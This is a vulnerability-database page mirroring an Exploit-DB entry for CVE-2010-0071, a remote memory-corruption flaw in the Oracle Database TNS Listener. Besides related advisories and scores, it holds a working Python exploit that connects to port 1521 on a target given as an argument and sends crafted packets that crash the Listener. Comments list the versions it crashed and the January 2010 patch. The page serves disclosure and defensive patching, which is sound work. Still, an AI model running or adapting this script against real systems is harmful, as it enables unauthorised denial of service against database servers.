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Oracle Database - Remote Listener Memory Corruption

🗓️ 12 Jan 2010 00:00:00Reported by Dennis YurichevType 
exploitdb
 exploitdb🔗 www.exploit-db.com👁 45 Views

Remote memory-corruption vulnerability found in Oracle Database listene

Related
Code
ReporterTitlePublishedViews
Family
Circl		CVE-2010-0071
12 Jan 201000:00
–circl
CVE		CVE-2010-0071
13 Jan 201001:00
–cve
Cvelist		CVE-2010-0071
13 Jan 201001:00
–cvelist
exploitpack		Oracle Database - Remote Listener Memory Corruption
12 Jan 201000:00
–exploitpack
NVD		CVE-2010-0071
13 Jan 201001:30
–nvd
Oracle		Oracle Critical Patch Update Advisory - January 2010
12 Jan 201000:00
–oracle
Oracle		Security | Oracle Critical Patch Update - January 2010
12 Jan 201000:00
–oracle
Tenable Nessus		Oracle Database Multiple Vulnerabilities (January 2010 CPU)
26 Apr 201000:00
–nessus
Packet Storm		Oracle TNS Listener Denial Of Service
22 Jan 201000:00
–packetstorm
Prion		Design/Logic Flaw
13 Jan 201001:30
–prion
Rows per page
source: https://www.securityfocus.com/bid/37728/info

Oracle Database is prone to a remote memory-corruption vulnerability in Listener.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker does not require privileges to exploit this vulnerability.

This vulnerability affects the following supported versions:
9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7 

# TNS Listener (Oracle RDBMS) exploit, cause Listener process crash

# While running on 11.1.0.7.0 win32, nsglvcrt() Listener function attempt
# to allocate huge memory block and copy *something* to it.

# TID=3052|(1) MSVCR71.dll!malloc (0x4222fc5) (called from 0x438631 (TNSLSNR.EXE!nsglvcrt+0x95))
# TID=3052|(1) MSVCR71.dll!malloc -> 0x2530020
# TID=3052|(0) TNSLSNR.EXE!__intel_fast_memcpy (0x2530020, 0, 0x4222fc4) (called from 0x438647 (TNSLSNR.EXE!nsglvcrt+0xab))

# (addresses are for TNS Listener 11.1.0.7.0 win32 unpatched)
# If I correct, nsglvcrt() function is involved in new service creation.

# Successfully crashed:
#  Oracle RDBMS 11.1.0.6.0 win32 with CPUapr2009 applied
#  Oracle RDBMS 11.1.0.7.0 win32 with CPUapr2009 applied
#  Oracle RDBMS 10.2.0.4 win32 with CPUapr2009 applied
#  Oracle RDBMS 10.2.0.2 Linux x86
# Not crashed:
#  Oracle RDBMS 11.2 Linux x86

# Vulnerability discovered by Dennis Yurichev <[email protected]>

# Fixed in CPUjan2010 as CVE-2010-0071 (CVSS 10.0):
# http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2010.html

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 1521))

sockobj.send(
	  "\x00\x68\x00\x00\x01\x00\x00\x00"
	  "\x01\x3A\x01\x2C\x00\x00\x20\x00"
	  "\x7F\xFF\xC6\x0E\x00\x00\x01\x00"
	  "\x00\x2E\x00\x3A\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x28\x43\x4F\x4E\x4E\x45"
	  "\x43\x54\x5F\x44\x41\x54\x41\x3D"
	  "\x28\x43\x4F\x4D\x4D\x41\x4E\x44"
	  "\x3D\x73\x65\x72\x76\x69\x63\x65"
	  "\x5F\x72\x65\x67\x69\x73\x74\x65"
	  "\x72\x5F\x4E\x53\x47\x52\x29\x29"
)

data=sockobj.recv(102400)

sockobj.send(
	  "\x02\xDE\x00\x00\x06\x00\x00\x00"
	  "\x00\x00\x00\x00\x02\xD4\x20\x08"
	  "\xFF\x03\x01\x00\x12\x34\x34\x34"
	  "\x34\x34\x78\x10\x10\x32\x10\x32"
	  "\x10\x32\x10\x32\x10\x32\x54\x76"
	  "\x00\x78\x10\x32\x54\x76\x44\x00"
	  "\x00\x80\x02\x00\x00\x00\x00\x04"
	  "\x00\x00\x70\xE4\xA5\x09\x90\x00"
	  "\x23\x00\x00\x00\x42\x45\x43\x37"
	  "\x36\x43\x32\x43\x43\x31\x33\x36"
	  "\x2D\x35\x46\x39\x46\x2D\x45\x30"
	  "\x33\x34\x2D\x30\x30\x30\x33\x42"
	  "\x41\x31\x33\x37\x34\x42\x33\x03"
	  "\x00\x65\x00\x01\x00\x01\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x64\x02"
	  "\x00\x80\x05\x00\x00\x00\x00\x04"
	  "\x00\x00\x00\x00\x00\x00\x01\x00"
	  "\x00\x00\x10\x00\x00\x00\x02\x00"
	  "\x00\x00\x84\xC3\xCC\x07\x01\x00"
	  "\x00\x00\x84\x2F\xA6\x09\x00\x00"
	  "\x00\x00\x44\xA5\xA2\x09\x25\x98"
	  "\x18\xE9\x28\x50\x4F\x28\xBB\xAC"
	  "\x15\x56\x8E\x68\x1D\x6D\x05\x00"
	  "\x00\x00\xFC\xA9\x36\x22\x0F\x00"
	  "\x00\x00\x60\x30\xA6\x09\x0A\x00"
	  "\x00\x00\x64\x00\x00\x00\x00\x00"
	  "\x00\x00\xAA\x00\x00\x00\x00\x01"
	  "\x00\x00\x17\x00\x00\x00\x78\xC3"
	  "\xCC\x07\x6F\x72\x63\x6C\x00\x28"
	  "\x48\x4F\x53\x54\x3D\x77\x69\x6E"
	  "\x32\x30\x30\x33\x29\x00\x01\x00"
	  "\x00\x00\x58\x00\x00\x00\x01\x00"
	  "\x00\x00\x50\xC5\x2F\x22\x02\x00"
	  "\x00\x00\x34\xC5\x2F\x22\x00\x00"
	  "\x00\x00\x9C\xC5\xCC\x07\x6F\x72"
	  "\x63\x6C\x5F\x58\x50\x54\x00\x09"
	  "\x00\x00\x00\x50\xC5\x2F\x22\x04"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x34"
	  "\xC5\xCC\x07\x6F\x72\x63\x6C\x5F"
	  "\x58\x50\x54\x00\x01\x00\x00\x00"
	  "\x05\x00\x00\x00\x01\x00\x00\x00"
	  "\x84\xC5\x2F\x22\x02\x00\x00\x00"
	  "\x68\xC5\x2F\x22\x00\x00\x00\x00"
	  "\xA4\xA5\xA2\x09\x6F\x72\x63\x6C"
	  "\x00\x05\x00\x00\x00\x84\xC5\x2F"
	  "\x22\x04\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\xFC\xC4\xCC\x07\x6F\x72\x63"
	  "\x6C\x00\x01\x00\x00\x00\x10\x00"
	  "\x00\x00\x02\x00\x00\x00\xBC\xC3"
	  "\xCC\x07\x04\x00\x00\x00\xB0\x2F"
	  "\xA6\x09\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x89\xC0\xB1\xC3\x08\x1D"
	  "\x46\x6D\xB6\xCF\xD1\xDD\x2C\xA7"
	  "\x66\x6D\x0A\x00\x00\x00\x78\x2B"
	  "\xBC\x04\x7F\x00\x00\x00\x64\xA7"
	  "\xA2\x09\x0D\x00\x00\x00\x20\x2C"
	  "\xBC\x04\x11\x00\x00\x00\x95\x00"
	  "\x00\x00\x02\x20\x00\x80\x03\x00"
	  "\x00\x00\x98\xC5\x2F\x22\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x0A\x00"
	  "\x00\x00\xB0\xC3\xCC\x07\x44\x45"
	  "\x44\x49\x43\x41\x54\x45\x44\x00"
	  "\x28\x41\x44\x44\x52\x45\x53\x53"
	  "\x3D\x28\x50\x52\x4F\x54\x4F\x43"
	  "\x4F\x4C\x3D\x42\x45\x51\x29\x28"
	  "\x50\x52\x4F\x47\x52\x41\x4D\x3D"
	  "\x43\x3A\x5C\x61\x70\x70\x5C\x41"
	  "\x64\x6D\x69\x6E\x69\x73\x74\x72"
	  "\x61\x74\x6F\x72\x5C\x70\x72\x6F"
	  "\x64\x75\x63\x74\x5C\x31\x31\x2E"
	  "\x31\x2E\x30\x5C\x64\x62\x5F\x31"
	  "\x5C\x62\x69\x6E\x5C\x6F\x72\x61"
	  "\x63\x6C\x65\x2E\x65\x78\x65\x29"
	  "\x28\x41\x52\x47\x56\x30\x3D\x6F"
	  "\x72\x61\x63\x6C\x65\x6F\x72\x63"
	  "\x6C\x29\x28\x41\x52\x47\x53\x3D"
	  "\x27\x28\x4C\x4F\x43\x41\x4C\x3D"
	  "\x4E\x4F\x29\x27\x29\x29\x00\x4C"
	  "\x4F\x43\x41\x4C\x20\x53\x45\x52"
	  "\x56\x45\x52\x00\x68\xC5\x2F\x22"
	  "\x34\xC5\x2F\x22\x00\x00\x00\x00"
	  "\x05\x00\x00\x00\x84\xC5\x2F\x22"
	  "\x04\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\xFC\xC4\xCC\x07\x6F\x72\x63\x6C"
	  "\x00\x09\x00\x00\x00\x50\xC5\x2F"
	  "\x22\x04\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x34\xC5\xCC\x07\x6F\x72\x63"
	  "\x6C\x5F\x58\x50\x54\x00"        
)

sockobj.close()

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12 Jan 2010 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 210
EPSS0.12519
oracle databaseremotememory corruptionlistenervulnerabilityoracle net protocolversionscve-2010-0071
45